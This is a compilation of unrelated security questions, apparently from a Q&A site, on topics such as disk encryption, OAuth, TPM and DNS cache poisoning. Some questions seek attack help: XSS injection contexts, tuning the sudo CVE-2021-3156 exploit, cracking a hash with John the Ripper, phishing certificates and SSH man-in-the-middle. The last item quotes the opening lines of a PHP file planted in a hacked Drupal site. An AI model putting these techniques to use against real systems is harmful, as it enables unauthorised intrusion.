Assumptions
Assume that none of the volume's files are open at the time of the theft. But the volume is mounted. Assume system file sharing is turned off and firewall is turned on. Assume no one else knows my system password.
Assume that the thief doesn't have NSA-level hacking expertise; He doesn't even know what he's looking for (e.g. the volume name or what it contains). He's just a run-of-the-mill criminal who saw a crime of opportunity to grab a laptop, but he's open to snagging any content of value on the computer itself if he can find any.
Analysis
One thing I could do is dismount the Veracrypt virtual drive every time I leave the computer alone. It's protected with a strong password that no one could guess. But dismounting and remounting that drive forces me to shutdown and subsequently restart and reinitialize a number of other processes that are specific to the work I do. It takes some time. My preference would be to leave that drive mounted during the brief time I'm away, but only if the lock screen provides sufficient security to protect the data.
I did read Data security while MacBook is on lock screen but this focuses more on FileVault, which as I understand it, offers minimal protective value when the computer is powered on.
Instead, I'm more interested in preventing read-access of a VeraCrypt volume. I'm not concerned about the data being deleted, overwritten, or otherwise corrupted by a bad actor -- just read. I don't care about the hypothetical thief reading anything else on the system's main hard drive; My question is strictly about the readability of the encrypted volume when the OS is locked.
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I've been reading a bit into car security and all of the ways cars can be stolen through various alterations of replay attacks. Upon researching whether any of the more modern cars are using anything more secure than "new code after usage", I haven't really found anything satisfying. Which makes me question, why don't car manufacturers just use something like RFC 4226 to secure the cars? It seems like an easy enough solution. Am I missing something here perhaps?
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I have a domain for a website that I'm going to deploy soon. I've registered a gmail account, and let's say it is myWebsite@gmail.com. In order to look more professional, I decided to use gmail's "Send email as:" feature, and now I'm able to send emails as contact@myWebsite.com.
What I was very surprised to learn that there wasn't any validation that I own myWebsite.com domain. As a result, a couple of questions popped up in my mind.
I guess other email providers provide the same functionality "Send email as:". Therefore, even if gmail tracks addresses that are being used, I'd guess that someone using yahoo email can easily set it up to send emails as contact@myWebsite.com and pretend to be me. What do you do about it ? How do you protect yourself in this case?
What if a scammer pretends to be a bank ? It looks like it's very much possible to send an email as support@someBank.com. There must be some sort of protection against this?
Is it probably better/safer to just use myWebsite@gmail.com and forget about custom email?
Thanks.
|
I have researched and understood that Cache-Control: no-cache is not sufficient alone to absolutely prevent caching, but what about Cache-Control: no-store alone? Since it will not allow storing of cache anywhere, this seems to be enough for preventing caching, is that right? Or is there any catch to that as well?
|
I am currently thinking about alternative ways for my native iOS Application (written in Swift) to receive access- & refresh-tokens. As of now, user sessions are established using revokable JWTs, issued by my API once a POST request is made to the /login endpoint, containing email and password (and optionally an MFA token).
However, there are many websites bashing usage of JWTs for an implementation of user sessions, arguing that OAuth2 would be a much more suitable option for that.
Unfortunately, I do have a problem with OAuth's authentication flow. I just do not want to display an ugly browser in my beautifully created app. I do know that there's the SFSafariViewController on IOS, however, this still ruins the entire flair and smooth login process of my app.
I do understand the benefits of using OAuth with third party applications; however, I do not see that advantage when using first-party applications I, and only I, maintain. Especially as OAuth doesn't provide a bulletproof solution for validating a public client's authentication either; I can't store a client secret in my app, which, in theory, allows anybody to impersonate my app once they know my API endpoints etc.
How likely is the scenario of someone impersonating my application anyways; are there even bulletproof ways to avoid that?
I browsed through quite a lot of articles online and questions here on StackExchange regarding OAuth2, however, none of them really addressed my issue regarding first-party native applications:
https://security.stackexchange.com/a/102045/227388 -> didn't cover any aspects regarding first-party-applications
OAuth Authorization Flow without external user agent for iOS application -> didn't cover any alternatives to OAuth 2, didn't mention what big players use
Therefore, my questions:
Considering the above described use case of a first-party native iOS Application, would you still recommend me to use OAuth 2?
Would sticking to my existing implementation with revokable JWTs be reckless?
What are all the "big players" using for their login flow? Twitter isn't displaying a website when logging in via their mobile app?
Are there any alternatives you would point me to?
How likely is the scenario of someone impersonating my application anyways; are there even bulletproof ways to avoid that?
|
According to Wikipedia,
The primary scope of TPM is to assure the integrity of a platform. In this context, "integrity" means "behave as intended", and a "platform" is any computer device regardless of its operating system. It is to ensure that the boot process starts from a trusted combination of hardware and software, and continues until the operating system has fully booted and applications are running
https://en.wikipedia.org/wiki/Trusted_Platform_Module
I think I get this.
The TPM must uses Platform Configuration Registers (PCRs) to develop a checksum (or perhaps hash) of the boot up process.
However, when the hardware, firmware, or boot loader of the machine changes, the changes are detected in the PCR values. Awesome, the TPM is checking the integrity of start up.
But, I thought the BIOS (as implemented in UEFI) handled this function? And it will roll back to a known good state if a problem is detected.
Have a got this wrong or is the TPM performing a redundant check?
I know the TPM does other stuff like disk encryption and password protection, but is platform integrity checking unnecessary?
|
I'm currently working for SaaS a company and as part of a security audit we were advised to remove all administrative access from all laptops/end-user pc's for a Principle of Least Permissions.
Is there any MDM/management software for Ubuntu that would allow us to remove root-access to ensure we're less vulnerable to malicious software/control what kind of software is installed?
Background:
For our Windows/Mac users this was achieved with relative easy, however we have quite a few developers (in fact, almost all) running Ubuntu. The current proposed solution is:
Running a VM with admin access for dev work
Having no admin access on the machine (no root/sudo/nothing)
I'm not a fan of this solution because it means more overhead and would require switching to/from the VM each time I want to check my mail (otherwise what's the use). I already proposed to switch away from Ubuntu entirely to Windows but this was not received with much enthusiasm from both devs and management.
|
Go and Java have "compile time constants", and JavaScript will soon get a feature that allows "Distinguishing strings from a trusted developer from strings that may be attacker controlled" via isTemplateObject.
These allow the program to check if a variable contains a string that came from the source code (i.e. a literal).
This is useful, as it allows you to be sure a variable cannot cause an Injection Vulnerability.
For example an SQL string, where the user values have been kept separate (parameterised queries).
In theory, combining literals should be fine (think of a programmer building up an SQL/HTML/CLI string).
But, if the attacker was given the ability to extract an arbitrary part of the string, or some way of using split() to convert the string into an array... is there any way this could cause issues, and undermine this valuable distinction of "strings from a trusted developer".
For example:
$my_literal_html = '<a href="?">Example<a>';
This by itself cannot contain an injection vulnerability (does not contain user data).
We could even append more HTML to it, and it will also be fine:
$my_literal_html .= ' <em>Text</em>';
At this point we would send it to a HTML Templating Engine, which could check that it's a literal... then it's free to incorporate the user supplied values (using the appropriate encoding, and context checking, like preventing 'javascript:' URLs).
But, is there anything the programmer could do, which could inadvertently break this... to take their literal, split/cut/substr it, still be seen as a literal, but also introduce a security issue.
Maybe $length could be attacker controlled (for some reason)?
$start = 0;
$length = ($_GET['length'] ?? 9);
$my_literal_html = substr($my_literal_html, $start, $length);
That would result in the string '<a href="'... which I think is still fine, but in a larger program, could issues be introduced?
For reference, I'm writing the is_literal RFC for PHP, it will allow libraries to check certain input strings came from the programmer, and it does support concatenated strings... but a question has come up about splitting strings, I don't think it's useful (can't think of why anyone would), but I'm also concerned it could undermine the security value.
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I have a Windows service that accesses a database connection. Since users rarely use Windows authentication, I encrypt the connection string. For development I have the password hard-coded, but I know this is a very bad idea. What is the proper way to store a non-user entered password?
As a side note, I tried storing the password in the Credentials Manager, but this required the service to be run under either the local system account or an administrator account, which some clients do not want to allow.
Edit
The main question here is this: What is the best way for a Windows service to store sensitive information?
|
I recently downloaded 2 compressed files (.zip and .rar) from a really unreliable and untrusted source while using a browser integrated VPN. My antivirus didn't notice anything but I am curious if it is possible for a compressed file to contain malicious code that could potentially reveal my real IP address by communicating with a server (or something, I am not a programmer :P). I know IPs are not something you really need to hide (since every site toy visit has it on it's logs) but I would like to know if it is possible from a technical point of view.
Thanks!
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If one made software, but later needed others to work on the project, how to secure the software files and source code if one of the developers tried to share the source code with others or if someone split from the team and tried to do something with their knowledge of the source code (like trying to hack the software)?
|
I have been learning Cyber and Information Security for a while now, from different sources and courses. While there is a lot of theory, no high-level math seems to appear anywhere, apart from basic algebra and the "programming math" (graph theory <not much of it, bit manipulation, binary operations, optimization, game theory, cryptography).
I came here to ask the experts, is there a huge chapter I'm missing, where high-school level math is needed, or is Cyber Analysis simply an application of the theory, definitions, scenarios, and predictions.
|
Almost a year ago, I dual-booted Windows 10 and Linux Mint. And since then, I haven't booted into my Windows 10 OS.
I still remember that the Wi-Fi adapter was off when I shut my Windows 10 down.
Now, since my Windows 10 OS is not up to date with the latest security updates, is it vulnerable to malware even though it is not connected to the Internet?
Note: I can't delete my Windows 10 partition yet, because I have all my important files (more than 400 GB) on it and I don't have a 400 GB thumb drive or external HDD or external SSD to back up those files and delete the Windows partition. (I have two 32 GB thumb drives and a 4 GB thumb drive.)
|
In reference to another post about the Respondus Lockdown Browser, I was wondering how can a program edit and remove parts of the "Secure Desktop" Ctrl+Alt+Del menu in Windows, as well as disable the power button at the bottom right?
Is this safe?
This is what happens when trying to Ctrl+Alt+Del with Respondus Lockdown Browser running in the background:
|
This would be used in a phishing attack for example - coffee shop attack where google.com becomes a website controlled by the attacker completed with the magic lock next to the URL. Can I use letsencrypt to create a valid cert for any website that browsers will trust?
|
Two part question:
1-How do memory resident viruses stay in memory after the program which loaded them is finalized? If all memory is automatically deallocated by the OS once a program is finished, how could then the malicious code survive? Does it instead create a separate executable file which then runs in background then starts it? Or it corrupts the OS in some way?
2- How does the virus captures traps and interrupts or modifies the OS RAM bitmap? Shouldn't the OS forbid this?
From Tanembaums OS book:
"So far we have assumed that when an infected program is executed, the virus runs, passes control to the real program, and exits. In contrast, a memory-resident virus stays in memory all the time, either hiding at the very top of memory or perhaps down in the grass among the interrupt vectors, the last few hundred bytes of which are generally unused. A very smart virus can even modify the operating system's RAM bitmap to make the system think the virus' memory is occupied, to avoid the embarrassment of being overwritten.
A typical memory-resident virus captures one of the trap or interrupt vectors by copying the contents to a scratch variable and putting its own address there, thus directing that trap or interrupt to it. The best choice is the system call trap. In that way, the virus gets to run (in kernel mode) on every system call. When it is done, it just invokes the real system call by jumping to the saved trap address."
|
For a test to find vulnerabilities I found the following code in a page and I am looking for ways to manipulate it:
<script>
func({
"key1": "value",
"object": {
"key2": "value",
"key3": "<?php echo htmlspecialchars($_GET['param']); ?>",
"key4": "value",
}
}, "string");
</script>
Document is UTF-8 and default parameters for htmlspecialchars are used so " < > & are converted but ', \ and newlines are not. htmlspecialchars can cause issues inside a script tag but is it actually possible in this case to escape the double quotes and either inject executable javascript code or manipulate the object by changing or adding keys/values?
What I have tried is to make param have a \ at the end which escapes the double quote but that just causes a SyntaxError because the line ends after it.
So other than making the entire script fail is there a way?
|
I ran an nmap scan on my iPad’s IP address and the results showed the following ports listed below available in a filtered state. See screenshot for the actual terminal results.
SSH
Netbios-ssn
ms-wbt-server (Remote Desktop)
4 different VNC ports
And an iPhone Sync port
This can’t be normal, right? There are no apps installed that would explain these ports and the device is not jailbroken.
|
If I understand correctly section 4.2 in Jacques Stern, David Pointcheval, John Malone-Lee, and Nigel P. Smart's Flaws in Applying Proof Methodologies to Signature Schemes, in proceedings of Crypto 2002, they describe an attack that allows premeditated substitution of ECDSA-signed message by the signer.
Per their notation, one can
Freely decide any two messages m1, m2 ; say large files.
Craft (using the article's method) an apparently normal ECDSA public-private key pair (y,x) and signature (r,s) such that both m1 and m2 verify against (y,x) and (r,s) !
Distribute the public key y or obtain a certificate for it, in the usual way (including signing the Certificate Signing Request with the private key x as necessary).
Optionally, use the private key x normally to sign various messages, with the signatures verifying normally.
Put message m1 online and send to a verifier it's signature (r,s), invitation to check it, and indication that m1 will stay online.
Later (after the logs on the server have shown m1 was read once by the verifier), change m1 to m2 and from then on stand firm on the position m2 what was there in the first place.
Is there something I miss? A documented case where what the paper describes has lead to disaster or dispute? A common mitigation?
I have not found a way to confound the perpetrator from m2, (r,s), y, or even with x on top of that. Surest mitigation seems to be keeping a copy of m1, which could give some degree of confidence to a third party expert that the signer was malicious. But that's impractical for large messages, and might not be an option for legal reasons. Keeping the hash h1 of m1 is feasible for the verifier, but I don't see that's enough to convince a third party.
Is there a well-known name for the security property an ideal signature scheme (and AFAIK EdDSA) has w.r.t. such attack, but ECDSA fails to have here?
|
I understand that a tls has to be established between the supplicant (end user device) and the auth server but a few things are unclear :
How does the supplicant know the ip adress of the auth server ?
The supplicant is not granted access yet it has to communicate with tls, does that mean it is granted a temporary local ip address and only requests to the auth server are forwarded via usual NAT by the access point ?
How does the supplicant authenticate the server ? If I were connecting to a website, I would chech the common name (and that the chain is correct up to a root CA certificate I have), but what would the supplicant check for in common name (subject) ?
|
I am trying to execute the sudo buffer overflow (CVE-2021-3156) on one of my systems, but haven't got it working yet. The system is definitely vulnerable (taking into account sudo version and sudoedit -A -s \\ output (malloc error).
I created a VM with the same Linux version (but no other files) and it worked there. I suppose I need to edit the timing parameter - but I don't know what the value should be. It is 0.01s by default, and it only says it should be increased or decreased depending on the filesystem. I used a python script to vary from 0.001s to 0.02s in 0.001s steps - no success. How do I find the correct value?
|
I am pentesting a website and I found that I can inject code at value=""
<input type="text" id="search_1" name="keyword" placeholder="Search by keyword" value="XSS?" class="search-input input-group-field with-floating-label" data-module="autocomplete" required>`
I can enter all characters except double quotes (") because it encodes them for me.
So, my questions is, can I exploit XSS without leaving the value = " " or is there any way to get out of the value?
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I am trying to implement a case where a user provides us some html code which is then stored in our database. We then retrieve the HTML from our database as a string. (We have no control over the user input)
I try to embed this html using
const htmldoc = [the raw html]
<iframe sandbox="allow-scripts" srcdoc=htmldoc>
</iframe>
I would be using a data:// URI. Or blob:// URI.
I am using the sandbox attribute to prevent Same Origin Policy. Can a user input something which might lead to XSS attacks in the parent browsing context? I am not concerned if the XSS attack targets the content inside the iframe since it is sandboxed.
If my approach is vulnerable to attacks, what can I do to make it secure?
EDIT:
Here is what I am planning to do:
I will have the user input which will be raw HTML data. I will store this file somewhere. Whenever I have to render this HTML, I'll make an API call to retrieve it.
For security:
I will be using an <iframe sandbox="allow-scripts">. This will block all popups, modals, form submissions, etc.
I'll be programmatically adding a meta tags to the HTML which is to be rendered.
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src https://trusted-site.com/ 'unsafe-inline' style-src https://trusted-site.com/; font-src https://trusted-site.com/; img-src https://trusted-site.com/">
<meta name="referrer" content="no-referrer">
What are the possible attack vectors in this approach? Is there anyway I can make it more secure against the possible attack vectors?
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Ok so I get the benefit that PKCE provides. Without it, the attacker knows your client_secret and by registering the same URL scheme as your application on mobile, can intercept the redirect with the auth code, and then use it along with your client_id and client_secret to receive an access token to the user's resources.
However with PKCE, the only thing that the attacker now needs is your client_id. They can generate their own PKCE. On intercepting the redirect, they can now use the auth code received along with the client_id and code_verifier (since they generated the PKCE themselves) to get the access token.
So my question is:
Is the only thing that prevents an attacker from doing this, is that they still need to direct the user to the identity provider to authenticate, and in doing so, the user would see that the identity provider is requesting them to supply permission to your app, which is different to the (malicious) app they came from? Or is there another blocker?
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The hash I am trying to break is 279412f945939ba78ce0758d3fd83daa, it's part of a task for learning John.
I created a file hash.txt using: echo -n 279412f945939ba78ce0758d3fd83daa > hash.txt.
Then, I tried running hashid over it and it gave me md2, md5 and md4 and many more.
So I used,
./john --wordlist=rockyou.txt --format=raw-md4 hashfile.txt
John returned:
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD4 [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2021-06-07 05:21) 0g/s 19124Kp/s 19124Kc/s 19124KC/s
filimani..clarus
Session completed.
Now, when I do:
./john --show hash.txt or ./john --show --format=raw-md4 hash.txt
it gives:
0 password hashes cracked, 1 left
Question: What is the meaning of that filimani..clarus? is it the password? why --show is not registering it?
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I'm reading "Introduction to Computer Security", Pearson New International Edition, 1st edition, by Goodrich and Tamassia.
On the subject of DNS cache poisoning, they mention that a "new" attack was discovered in 2008, so-called "subdomain DNS cache poisoning". This is how that attack is supposed to play out:
An attacker makes many requests to a name server for non-existing subdomains, say aaaa.example.com, aaab.example.com, aaac.example.com, etc.
The book mentions that these subdomains don't exist, and that, therefore, the target authoritative name server just ignores the requests.
Simultaneously, the attacker issues spoofed responses to the requests made by the name server under attack, each with a guessed transaction ID (which is randomly chosen and unknown to the attacker).
Because the target authoritative name server ignores requests for non-existing domains, the attacker has opportunity to issue a lot of spoofed responses, making it likely that she will guess the correct transaction ID.
The book was written in 2011, so something might have changed in the meantime. When I dig for a non-existing subdomain, e.g. aaaa.example.com, I get a NXDOMAIN response:
$ dig @a.iana-servers.net. aaaa.example.com. +norecurse
; <<>> DiG 9.16.16 <<>> @a.iana-servers.net. aaaa.example.com. +norecurse
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 20391
;; flags: qr aa; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
# ... snip ...
I would assume that any non-authoritative name server would put this negative result in its cache (as it should according to RFC 2308, written in March 1998).
Was it previously common practice for name servers to ignore (= not send a reply to) requests for non-existing subdomains? Has that been replaced with the NXDOMAIN reply that I see today? Is conducting the attack as described above still possible?
Edit
Turns out it was Dan Kaminsky who thought of this attack.
In this DEF CON video, he explains that at the time (2008), several authoritative name servers would not respond to certain types of DNS queries ("request polluters"), including:
Unknown QTYPE (e.g. FOO instead of A)
Unknown QCLASS (e.g. BAR instead of IN)
Non-existing names
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Provider suggests me two types of SSL certificates: for domain only or for domain and subdomains. First one is cheaper.
Currently I already have certificate for previous year. How to know, if it was bought for domain only or for domain and subdomains?
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At my university, we are learning how to use SSH for server administration.
We learned that SSH is secure, but there are some tools that allow man-in-the-middle attacks on SSH.
How can such tools intercept SSH when it is encrypted? I have tried Wireshark but was not able to read the data. Wireshark is only able to read the plain text parts of the SSH protocols.
How does a man-in-the-middle attack on SSH work?
The mitm tool (https://github.com/ssh-mitm/ssh-mitm) allows a second shell to connect to the same SSH session. I have tried it and was able to work in both shells.
Are both sessions the same, or how else can this work? I thought that the encryption should protect me from such an attack.
Reading the docs (https://docs.ssh-mitm.at) does not provide more info on how such an attack works. The docs only explain how to use the tool.
This is the reason why I'm asking the question.
Can anyone explain in depth how such an attack works?
How is it possible that the same SSH session can be used from 2 different clients?
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PHP 7 uses the default system folder (/tmp) to store uploaded files.
PHP allows you to change the settings and change the upload destination directory. Some sites indicate to change this folder to another one, since the /tmp permission is 777.
OWASP has nothing listed in the security recommendations. Should I really worry about changing this folder to another one or there are no risks?
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I am trying to use Freeradius 3.0 for authentication with certificates. To generate the CA, Server and Client certificate, make is available, reading a specific configuration file for each certificates (more information about it here).
The generated private key of the server and the client is encrypted by a password set in the configuration file.
-----BEGIN ENCRYPTED PRIVATE KEY-----
the encrypted private key ...
When i am restarting the radius service it fail, i get the following error (using freeradius -X) :
tls: Failed reading private key file "/etc/freeradius/3.0/certs/server.pem": error:0B080074:X509 certificate routines:X509_check_private_key:key values mismatch
At first i thought that the password provided for decryption in the file configuration (mods-enabled/eap and sites-enabled/tls) of Freeradius was wrong, but no.
When i am using openssl to decrypt the file, it is working like a charm.
root@debian:/etc/freeradius/3.0/certs# openssl rsa -in server.pem
Enter pass phrase for server.pem:
writing RSA key
-----BEGIN RSA PRIVATE KEY-----
clear certificate ...
When i am opening the pem file on a gui ubuntu, the same password is not working anymore.
I dont understand why with freeradius (and with gui) the password provided dont decrypt the certificate ? The make command to generate the certificate are build by freeradius so it should work.
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I noticed suddenly something weird on my PC. I am currently in Italy, Google all of a sudden is displayed in Arabic, and my IP is from an ISP in Czech Republic, and it is obviously different from the Italian ISP I am connected to.
In my phone with only WIFI enabled and mobile data disabled, I can see that the IP assigned is from the correct ISP.
I run a test from speedtest.net, and I see the Czech IP. The same IP is displayed double checking from whatismyip.com.
Chrome sometimes hangs with the error ERR_PROXY_CONNECTION_FAILED, but I do not have a proxy set.
My phone when it is connected to the same wifi correctly shows the Italian ISP. When I use my phone as hotspot using the mobile carrier instead, when I do a speed test the ISP is the correct one from my mobile carrier, but the Ookla server assigns a Czech server as the closest one.
All other devices in my premises (PCs, phones, tablets) correctly display the address, so maybe this would rule out possible router hijacking.
I ran a scan with my antivirus and nothing relevant came back.
Any other ideas of what to look for or what it could be?
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When sending a request (POST, PUT, etc). I have a security requirement to ensure that the data in the payload has not been tampered with.
In other words I need to know with certainty that the data entered was entered by the user and has not been intercepted in flight with additional or altered data.
What are strategies and tactics to accomplish this?
I thought of using a key from a previous GET request followed by hashing the whole payload along with a timestamp. However I don’t see this as a solution since if there were a reverse proxy or key logger listening to an end-user's requests, then that keylogger and reverse proxy would just as soon know what the key used to hash was and could just overwrite the payload with the key and hash anyway - using the servers expected key and looking like a legitimate hash of the payload. Any ideas?
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I wonder what a small startup would typically do concerning third-party compliance?
Are you expected to send third-party vendors a security questionnaire? Do you need to do that regularly?
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I'm interested in using GNU/Linux for different reasons. Partly for freedom, privacy, and security. But also to force myself to learn Linux. One issue I’ve found is that desktop Linux seems to have fairly poor security by default which is a little odd considering GNU/Linux is often recommended by security experts in certain circumstances. I looked into hardening Linux but that guide is clearly for very advanced users who have a lot of time on their hands. My threat model is sort of mixed. I'm not a highly targeted individual, but I also plan to do sensitive work with investigations and activism so security is still very important to me. I'm hoping to do everything on one laptop for monetary and practical reasons, so I want to avoid using a burner for my more sensitive work if possible. I've also looked into Qubes, but much like the previously mentioned hardened Linux guide, it looks like it is more for advanced users and it comes with a lot of usability issues.
Are there any simpler Linux hardening guides that still address many of the presented Linux security concerns? Or better yet a way to automate the "hardening" process? If it matters, I think I'm most comfortable using Linux Mint Cinnamon since that's what I've used for some time, but I'm open to using anything that's easy and just works out of the box with little to no configuration necessary.
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There are several ways to track how a user interacts with a website, including mouse position and clicks.
Does the same apply to taking screenshots though? Can a website track browser or system related hotkeys?
For example, which of the following would reveal either clicks or keystrokes (assuming they were pressed while the website had been selected)?
Pressing Ctr+Shift+PrintScreen then clicking to select the area I need to take a screenshot of.
Ctr+T to open a new tab on Firefox (or any other Firefox keybind).
Opening the command line using keybinds.
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What is the difference between a Remote Access Trojan and a hidden Virtual Network Computing?
It seems that both software allows a hacker to access a victim's computer and to spy on activity.
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I understand that, when storing data on the cloud or something else that might get leaked to the public, the security margin should be at least 128 bit, 256 bit should be used for data that should stay secure over 20-30 years.
If I use a storage mechanism (like WebStorageAPI) to store data of my application on the client, is it secure enough to use a key derived from the password of the user (about 40 bit entropy) to encrypt the data locally if a random person of the public got access to the unlocked device (like in university or in a café)?
The idea is, that the device could then generate a key that is used to encrypt the data that is stored online and encrypt it locally using the password of the user. This way the security of the data that is stored online does not depend on the strength of the password, only attacks with access to the device would be possible.
(It would be necessary to communicate that key between devices in a multi-device-setting, but let's assume that this issue is already solved)
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Fastly WAF service was down a while ago, and it has affected a lot of major internet platforms and sites such as Amazon, PayPal, eBay, Spotify, HBO Max, the UK's main government website - Gov.uk, and many more. This has affected dozens of countries across North & South America, Europe, Asia, and South Africa.
How can one service on the Internet make such an impact? Isn't this a huge security risk?
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I've been looking into this very useful remote pair programming plugin from JetBrains called Code With Me, but want to understand all the security implications.
From their FAQ page:
How is data transferred through JetBrains servers?
Your project and solution data is transferred through JetBrains
servers encrypted end to end. The end-to-end encryption is secure only
when the host and the guest verify that the generated PIN code matches
on both ends. Otherwise, the end-to-end encryption is potentially
susceptible to person-in-the-middle attacks. Local IP addresses,
project names, and the operating system username are shared without
encryption as they are used for letting JetBrains establish a session
between the host and a guest. When initiating a new Code With Me
session, the host communicates with the JetBrains server over TLS1.2+.
Code With Me communicates through an open source distributed protocol
created by JetBrains, and uses TLS 1.3 for end-to-end encryption. If
you don’t want your data to be transferred via JetBrains servers, you
can configure on-premises servers.
Couldn't local IP addresses and OS usernames be used by a hacker to attempt remote desktop connections?
Also the fact that the plugin can give guest users IDE terminal access on the host users computer (depending on the permissions set by the session host user) seems concerning, as it could potentially give an attacker access to the larger file system.
JetBrains says that the connections are end-to-end encrypted, but since they own the plugin client and the servers through which the sessions are relayed (unless you pay for the on-prem license), couldn't someone with inside access to JetBrains potentially disable the encryption/decrpyt traffic?
Are there any other security concerns I should be worried about?
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Does the design and implementation of the content security policy standard allow for the introduction of new unsafe behavior that wasn't there prior to having any CSP at all?
For example if my starting point is having no CSP headers or policy at all and I then introduce a CSP which contains:
unsafe-eval
unsafe-inline
Is it now less secure (e.g. has it enabled something that was not allowed prior to having any CSP)?
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If I change the password of my PGP key (I use it to sign Git commit) on Computer A, does it affect the same PGP key that I have on the Computer B?
Will I still be able to use the PGP key on Computer B with the old passphrase?
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I use Fedora Linux and was recently looking into doing Full Disk Encryption on data drives such as /home on some of my / my family's PCs. I understand that LUKS security will be partially dependent on having strong passwords and not doing very obviously stupid things (saw some articles where people were auto-unlocking an encrypted /home partition during boot by passing a keyfile located on an unencrypted / filesystem - which anyone with a livedisc could also use those to open the LUKS container).
The main reason why I am concerned was that while googling various things about LUKS / its settings, I came across this Elcomsoft article which talks about breaking LUKS encryption. If that wasn't bad enough, I also saw they had a similar article about breaking Veracrypt... so I am at a loss as to what I should use for FDE.
I admit that most of the infosec stuff is over my head. But I'm still not clear if I can make those solutions secure merely by tweaking settings/algorithms/etc or if the flaw was with something in the projects themselves (I thought it sounded like the latter). On the one hand, the article itself says that
LUKS can be viewed as an exemplary implementation of disk encryption
But the scary part is in the "Breaking LUKS Encryption" sections and how they make it sound like it is very easy to do with their software.
Trying to google was likewise unhelpful as all of the information I could find on "how secure is LUKS?" etc either talked generically about the underlying crypto algorithms or was dated before the Elcomsoft articles. But my reasoning is that in this day and age, it is probably a bit naive to assume that all thieves that might "smash-and-grab" a PC or hard drive from someone's home are going to be technical neophytes. The cheaper of the 2 products mentioned in the LUKS article appeared to be $300 USD. Not chump change but also not unaffordable by any stretch if someone really wanted to get in.
My initial guess based on these is that FDE with LUKS/Veracrypt would still be "better than nothing", but if I was unlucky and tech-savvy thieves nabbed my PC then data like Tax Records etc might not be protected. Likewise, anything I had almost certainly would not be protected from government entities or law enforce if they have access to the Elcomsoft products or similar software. Assuming I don't piss off anyone in power, the most I probably have to worry about from the "gov'mint" is saving memes or maybe keeping an offline copy of a few youtube videos... but it is troubling to think that it is so easy for FDE to be defeated.
Am I reading this wrong / is it just sales "spin" from Elcomsoft trying to market their product? If it is as easy to defeat as they make it sound, then can anything be done on the end user end to better protected against? If so, what / how?
When I see things like
Up to 10,000 computers and on-demand cloud instances can be used to attack a single password with Elcomsoft Distributed Password Recovery.
The first thing that goes through my head is to wonder if I can configure LUKS to only allow at most X attempts per minute, with X as some small number like 3. But AFAIK this option does not exist and is nothing more than a dream...
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We have some functionality in our system which sends emails to our customers, where the emails contain secure links with an embedded code.
Whilst inspecting our firewall logs I noticed something unusual. Sometimes (say 10% of cases), when I see a request with a valid code (where the code is in the url params), I see a second request 15-30 seconds later with the same code but coming from a different IP address. The codes are unique to individual users so this is strange. All of our users are in the UK, but some of these second requests are in different countries.
Even stranger, sometimes we see a third request, from the same IP as the second request, but with all the url param values replaced with the literal string "undefined". The url parameter names are maintained.
I have developed a theory around this, which is that the link is initially opened by our customer, and their email client then sends the link to some kind of security service which does some testing and inspection.
I realised that in this case, the second IP addresses would be data centre/corporate IPs, and this is the case. The first requests are always from a domestic ISP, and the second requests a few seconds later are from data centers. Examples of the second IPs are 40.94.102.24, 51.141.125.232 and 23.100.37.234.
One significant hole in my theory is this - whats the point in doing some security inspection on the url after my user has opened it?
Has anyone else seen such behaviour? Can anyone confirm or dismantle my hypothesis? What is going on here?
EDIT: All of the IPs I gave as examples are hosted in Microsoft Azure.
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If I have a VirtualBox VM running Kali Linux, can I use its diagnostic tools to search for malware on the host?
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I recently found out that HDMI cables (v1.4 and over) have ethernet capabilities for higher res output, so I want to know one thing:
Say I have a PC/laptop connected to the internet, and a monitor (not a smart TV) connected to the PC/laptop via an HDMI cable (v1.4 and over). Does the monitor now pose a threat to my local network? For simplicity, dismiss the possibilities of someone physically tampering with the monitor itself.
In the same line of thinking, if I somehow configure the same PC/Laptop (that is connected to the internet) to HDMI input, and then connect a bad device (Iot) to it via HDMI, is my local network at risk?
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My drupal website was getting hacked recently. While cleaning up the malicious scripts, I found that the hacker uploaded an image file (sites/default/files/test.jpg) contains below code.
error_reporting(0);
require_once('includes/session.inc');
